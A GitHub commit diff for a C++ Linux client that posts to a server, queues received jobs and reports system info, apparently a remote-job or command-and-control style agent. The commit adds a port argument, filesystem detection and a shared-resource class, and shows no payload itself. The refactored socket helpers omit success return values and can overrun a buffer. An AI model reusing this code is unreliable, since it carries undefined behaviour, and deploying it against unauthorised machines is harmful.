Skip to content

Commit 9da8a32

Browse files
committed
1) Changes made in CMakeLists.txt, operation.h, utilities.h so that the implementation automatically select the appropriate <filesystem> / <experimental/filesystem> 2) Added <PORT> as second argument. 3) Removed global mutexes and added sharedResources module instead. 4) Removed the unncessary sleep function in main(). 5) Modularised httpPost function. 6) Added isValidPort()
1 parent 551baff commit 9da8a32

11 files changed

Lines changed: 321 additions & 137 deletions

CMakeLists.txt

Lines changed: 31 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,7 @@ set(SOURCES
3939
${SOURCE_DIR}/json.cpp
4040
${SOURCE_DIR}/utilities.cpp
4141
${SOURCE_DIR}/operations.cpp
42+
${SOURCE_DIR}/sharedResourceManager.cpp
4243
)
4344

4445
# Optionally, add headers for IDEs or reference
@@ -48,6 +49,7 @@ set(HEADERS
4849
${HEADER_DIR}/json.h
4950
${HEADER_DIR}/utilities.h
5051
${HEADER_DIR}/operations.h
52+
${HEADER_DIR}/sharedResourceManager.h
5153
)
5254

5355
# Create the executable (using only source files)
@@ -67,8 +69,35 @@ target_link_libraries(clienthttp PRIVATE CURL::libcurl)
6769
find_package(Threads REQUIRED)
6870
target_link_libraries(clienthttp PRIVATE Threads::Threads)
6971

70-
# Link against the stdc++fs library
71-
target_link_libraries(clienthttp PRIVATE stdc++fs)
72+
# Check for filesystem support
73+
include(CheckCXXSourceCompiles)
74+
75+
# Ensure CMake performs its internal checks with C++17 (Required for checking <filesystem> / <experimental/filesystem> before buidling the project)
76+
set(CMAKE_REQUIRED_FLAGS "${CMAKE_REQUIRED_FLAGS} -std=c++17")
77+
78+
# Test if <filesystem> is available
79+
check_cxx_source_compiles("
80+
#include <filesystem>
81+
int main() { std::filesystem::path p; return 0; }
82+
" HAS_FILESYSTEM)
83+
84+
# Test if <experimental/filesystem> is available if <filesystem> isn't
85+
if(NOT HAS_FILESYSTEM)
86+
check_cxx_source_compiles("
87+
#include <experimental/filesystem>
88+
int main() { std::experimental::filesystem::path p; return 0; }
89+
" HAS_EXPERIMENTAL_FILESYSTEM)
90+
endif()
91+
92+
# Set compiler definitions based on availability
93+
if(HAS_FILESYSTEM)
94+
message(STATUS "Using <filesystem>")
95+
elseif(HAS_EXPERIMENTAL_FILESYSTEM)
96+
message(STATUS "Using <experimental/filesystem>")
97+
target_link_libraries(clienthttp PRIVATE stdc++fs) # Link against stdc++fs when using experimental/filesystem
98+
else()
99+
message(FATAL_ERROR "Neither <filesystem> nor <experimental/filesystem> is available.")
100+
endif()
72101

73102
# Set linker flags to disable symbol generation
74103
set_target_properties(clienthttp PROPERTIES LINK_FLAGS_RELEASE "-s")

README.md

Lines changed: 0 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -59,25 +59,6 @@ cmake -DTARGET_ARCH=x64 ../
5959
cmake -DTARGET_ARCH=x86 ../
6060
```
6161

62-
### For C++17 supporting compilers
63-
Starting with [C++17 compatible compilers](https://en.cppreference.com/w/cpp/compiler_support/17), the [std::filesystem](https://en.cppreference.com/w/cpp/filesystem) is part of the standard library. If you are using C++17 or later, you may **NOT** need to link stdc++fs because the standard library will include filesystem support by default so in that case just remove the below in CMAKELists.txt file i.e.
64-
65-
```
66-
target_link_libraries(clienthttp PRIVATE stdc++fs)
67-
```
68-
Also make sure to replace the replace the below lines in "*src/utilities.cpp*" and "*src/operations.cpp*"
69-
```
70-
#include <experimental/filesystem>
71-
namespace fs = std::experimental::filesystem;
72-
```
73-
with
74-
```
75-
#include <filesystem>
76-
namespace fs = std::filesystem;
77-
```
78-
79-
For other issues, please open thread in issue section.
80-
8162
### Disclaimer
8263
This application is designed for personal and administrative use. It is not intended for unauthorized access, data manipulation, or any other malicious activity. Any use of this software for illegal purposes is strictly prohibited. You can use this service in offensive security scenarios on you own machine/network ONLY.
8364
The author disclaims all liability for any misuse or damage caused by the application. Users are solely responsible for their actions and the consequences thereof.

include/http.h

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,5 @@
2626
#include "base64.h"
2727

2828
#define READ_BUFFER_SIZE 1024 // Receiving Buffer Size in bytes
29-
#define TIMEOUT_SEC 3 // Wait period for incoming data in seconds
3029

31-
std::wstring httpPost(const std::wstring &hostname, const std::wstring &request);
30+
std::wstring httpPost(const std::wstring &url, const std::wstring &port, const std::wstring &request);

include/operations.h

Lines changed: 19 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -24,12 +24,24 @@
2424
#include <string>
2525
#include <queue>
2626
#include <mutex>
27+
#include "sharedResourceManager.h"
2728

28-
extern std::queue<std::wstring> responseQueue;
29-
extern std::mutex responseQueueMutex;
30-
extern std::queue<std::wstring> jobQueue;
31-
extern std::mutex jobQueueMutex;
32-
extern std::wstring jsonSysInfo;
29+
#if __has_include(<filesystem>)
30+
#include <filesystem>
31+
namespace fs = std::filesystem;
32+
#elif __has_include(<experimental/filesystem>)
33+
#include <experimental/filesystem>
34+
namespace fs = std::experimental::filesystem;
35+
#else
36+
#error "Neither <filesystem> nor <experimental/filesystem> are available."
37+
#endif
3338

34-
bool isJobAvailable(const std::wstring &replyFromServer);
35-
void startJob();
39+
40+
// extern std::queue<std::wstring> responseQueue;
41+
// extern std::mutex responseQueueMutex;
42+
// extern std::queue<std::wstring> jobQueue;
43+
// extern std::mutex jobQueueMutex;
44+
// extern std::wstring jsonSysInfo;
45+
46+
bool isJobAvailable(const std::wstring &replyFromServe);
47+
void startJob(SharedResourceManager &sharedResources);

include/sharedResourceManager.h

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
// Copyright (c) Nouman Tajik [github.com/tajiknomi]
2+
//
3+
// Permission is hereby granted, free of charge, to any person obtaining a copy
4+
// of this software and associated documentation files (the "Software"), to deal
5+
// in the Software without restriction, including without limitation the rights
6+
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7+
// copies of the Software, and to permit persons to whom the Software is
8+
// furnished to do so, subject to the following conditions:
9+
//
10+
// The above copyright notice and this permission notice shall be included in all
11+
// copies or substantial portions of the Software.
12+
//
13+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14+
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15+
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16+
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17+
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18+
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19+
// SOFTWARE.
20+
21+
22+
#pragma once
23+
#include <queue>
24+
#include <mutex>
25+
26+
class SharedResourceManager {
27+
28+
private:
29+
std::queue<std::wstring> responseQueue;
30+
std::mutex responseQueueMutex;
31+
std::queue<std::wstring> jobQueue;
32+
std::mutex jobQueueMutex;
33+
std::wstring jsonSysInfo;
34+
std::mutex jsonSysInfoMutex;
35+
36+
37+
38+
public:
39+
void pushResponse(const std::wstring &response);
40+
std::wstring popResponse(void);
41+
void pushJob(const std::wstring &job);
42+
std::wstring popJob(void);
43+
bool isResponseAvailable(void);
44+
void setSysInfoInJson(const std::wstring &sysInfoJson);
45+
std::wstring getSysInfoInJson(void);
46+
};

include/utilities.h

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,8 +27,21 @@
2727
#include <vector>
2828
#include <system_error>
2929

30+
#if __has_include(<filesystem>)
31+
#include <filesystem>
32+
namespace fs = std::filesystem;
33+
#elif __has_include(<experimental/filesystem>)
34+
#include <experimental/filesystem>
35+
namespace fs = std::experimental::filesystem;
36+
#else
37+
#error "Neither <filesystem> nor <experimental/filesystem> are available."
38+
#endif
39+
40+
3041
#define RANDOM_NUMBER_LENGTH 15
3142

43+
bool isValidPort(const std::string& portNum);
44+
3245
bool hasWritePermissionForDirectory(const std::wstring &dirPath);
3346

3447
std::wstring changeDir(const std::wstring& newPath, std::error_code& ec);

src/http.cpp

Lines changed: 79 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -28,104 +28,100 @@
2828
#include <unistd.h>
2929
#include "utilities.h"
3030
#include "json.h"
31+
#include <chrono>
32+
#include <thread>
3133

34+
// ============================ PRIVATE FUNCTIONS ============================
3235

33-
std::wstring httpPost(const std::wstring &hostname, const std::wstring &request) {
34-
struct sockaddr_in sockaddr_in;
35-
unsigned short server_port = 80;
36-
37-
/* Build the socket. */
36+
int createTcpSocket(void){
37+
/* Build the socket. */
3838
struct protoent* protoent = getprotobyname("tcp");
3939
if (protoent == NULL) {
4040
perror("getprotobyname");
41-
exit(-1);
41+
return -1;
4242
}
43-
int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, protoent->p_proto);
44-
if (socket_file_descriptor == -1) {
43+
int tcpSocket = socket(AF_INET, SOCK_STREAM, protoent->p_proto);
44+
if (tcpSocket == -1) {
4545
perror("socket");
46-
exit(-1);
46+
return -1;
4747
}
48+
}
4849

50+
int connectTcp(const int &socket, const std::wstring &url, const std::wstring &port){
4951
/* Build the address. */
50-
struct hostent *hostent = gethostbyname(ws2s(hostname).c_str());
52+
struct hostent *hostent = gethostbyname(ws2s(url).c_str());
5153
if (hostent == NULL) {
52-
std::wcerr << "error: gethostbyname(\"" << hostname << "\")" << std::endl;
53-
exit(-1);
54+
std::wcerr << "error: gethostbyname(\"" << url << "\")" << std::endl;
55+
return -1;
5456
}
5557
in_addr_t in_addr = inet_addr(inet_ntoa(*(struct in_addr*)*(hostent->h_addr_list)));
5658
if (in_addr == (in_addr_t)-1) {
5759
std::cerr << "error: inet_addr(\"" << *(hostent->h_addr_list) << "\")" << std::endl;
58-
exit(-1);
60+
return -1;
5961
}
62+
struct sockaddr_in sockaddr_in;
63+
const unsigned short server_port = std::stoi(port);
6064
sockaddr_in.sin_addr.s_addr = in_addr;
6165
sockaddr_in.sin_family = AF_INET;
6266
sockaddr_in.sin_port = htons(server_port);
6367

64-
/* Actually connect. */
65-
if (connect(socket_file_descriptor, (struct sockaddr*)&sockaddr_in, sizeof(sockaddr_in)) == -1) {
68+
/* connect. */
69+
if (connect(socket, (struct sockaddr*)&sockaddr_in, sizeof(sockaddr_in)) == -1) {
6670
//perror("connect");
67-
close(socket_file_descriptor);
68-
return std::wstring();
71+
close(socket);
72+
return -2;
6973
}
74+
}
7075

76+
int sendHttpRequest(const int &socket, const std::wstring &request){
7177
ssize_t nbytes_total;
7278
ssize_t nbytes_last;
7379
size_t request_len = request.length();
7480

7581
/* Send HTTP request. */
7682
nbytes_total = 0;
77-
// while (nbytes_total < request_len) {
78-
// nbytes_last = write(socket_file_descriptor, &request[nbytes_total], request_len - nbytes_total);
79-
// if (nbytes_last == -1) {
80-
// perror("write");
81-
// close(socket_file_descriptor);
82-
// return std::wstring();
83-
// }
84-
// nbytes_total += nbytes_last;
85-
// }
86-
8783
while (nbytes_total < request_len) { // send data to server
88-
std::wstring wideChunk = request.substr(nbytes_total);
89-
std::string narrowChunk = ws2s(wideChunk);
90-
size_t narrowBytesToSend = narrowChunk.length();
91-
int nbytes_last = write(socket_file_descriptor, narrowChunk.c_str(), static_cast<int>(narrowBytesToSend));
92-
if (nbytes_last == -1) {
93-
// std::cerr << "send failed with error: " << WSAGetLastErrorFunc() << std::endl;
94-
close(socket_file_descriptor);
95-
// cleanupFunc();
96-
// FreeLibrary(hWS2_32);
97-
return std::wstring();
98-
}
99-
nbytes_total += nbytes_last; // Increment by the number of bytes sent
84+
std::wstring wideChunk = request.substr(nbytes_total);
85+
std::string narrowChunk = ws2s(wideChunk);
86+
size_t narrowBytesToSend = narrowChunk.length();
87+
int nbytes_last = write(socket, narrowChunk.c_str(), static_cast<int>(narrowBytesToSend));
88+
if (nbytes_last == -1) {
89+
close(socket);
90+
return -1;
91+
//return std::wstring();
92+
}
93+
nbytes_total += nbytes_last; // Increment by the number of bytes sent
10094
}
95+
}
10196

102-
/* Read the response with timeout. */
97+
std::wstring recvHttpResponse(const int &socket){
98+
/* Read the response with timeout. */
10399
char readBuff[READ_BUFFER_SIZE] = {};
104100
ssize_t nbytes=0;
105101

106102
fd_set read_fds;
107103
FD_ZERO(&read_fds);
108-
FD_SET(socket_file_descriptor, &read_fds);
104+
FD_SET(socket, &read_fds);
109105

110106
struct timeval timeout;
111-
timeout.tv_sec = TIMEOUT_SEC;
112-
timeout.tv_usec = 0;
107+
timeout.tv_sec = 0;
108+
timeout.tv_usec = 500 * 1000; // 500 miliseconds
113109

114110
std::string tmpDataRead;
115-
int select_result = select(socket_file_descriptor + 1, &read_fds, NULL, NULL, &timeout);
111+
int select_result = select(socket + 1, &read_fds, NULL, NULL, &timeout);
116112
if (select_result == -1) {
117-
perror("select");
118-
close(socket_file_descriptor);
113+
// perror("select");
114+
close(socket);
119115
return std::wstring();
120116
}
121117
else if (select_result == 0) {
122118
// Timeout occurred, no data received within 2 seconds
123119
//std::cout << "Timeout occurred. No data received within 2 seconds." << std::endl;
124-
close(socket_file_descriptor);
120+
close(socket);
125121
return std::wstring();
126122
}
127-
if (FD_ISSET(socket_file_descriptor, &read_fds)) {
128-
while ((nbytes = read(socket_file_descriptor, readBuff, READ_BUFFER_SIZE)) > 0) {
123+
if (FD_ISSET(socket, &read_fds)) {
124+
while ((nbytes = read(socket, readBuff, READ_BUFFER_SIZE)) > 0) {
129125
// Process the received data
130126
//write(STDOUT_FILENO, readBuff, nbytes);
131127
readBuff[nbytes] = 0x00;
@@ -134,16 +130,46 @@ std::wstring httpPost(const std::wstring &hostname, const std::wstring &request)
134130
}
135131
if (nbytes == -1) {
136132
perror("read");
137-
close(socket_file_descriptor);
133+
close(socket);
138134
return std::wstring();
139135
}
140-
std::wstring readBuffStr(s2ws(tmpDataRead));
141-
size_t found = readBuffStr.find(L"\r\n\r\n");
136+
return s2ws(tmpDataRead);
137+
}
138+
139+
140+
// ============================ PUBLIC API ============================
141+
142+
std::wstring httpPost(const std::wstring &url, const std::wstring &port, const std::wstring &request) {
143+
144+
const int tcpSocket = createTcpSocket();
145+
if(tcpSocket == -1){
146+
exit(-1);
147+
}
148+
149+
int retValue = connectTcp(tcpSocket, url, port);
150+
if(retValue == -1){
151+
exit(-1);
152+
}
153+
else if(retValue == -2){ // Client is unable to connect to the server ( either client doesn't have internet or server is offline )
154+
std::this_thread::sleep_for(std::chrono::seconds(1));
155+
return std::wstring();
156+
}
157+
158+
retValue = sendHttpRequest(tcpSocket, request);
159+
if(retValue == -1){
160+
return std::wstring();
161+
}
162+
std::wstring readBuffStr = recvHttpResponse(tcpSocket);
163+
if(readBuffStr.empty()){
164+
return std::wstring();
165+
}
166+
167+
const size_t found = readBuffStr.find(L"\r\n\r\n");
142168
std::wstring decodedData;
143169
if (found != std::string::npos){
144170
std::string b64Data = extractBase64Data(readBuffStr.substr(found));
145171
decodedData = s2ws(base64_decode(b64Data.c_str()));
146172
}
147-
close(socket_file_descriptor);
173+
close(tcpSocket);
148174
return decodedData;
149175
}

0 commit comments

Comments
 (0)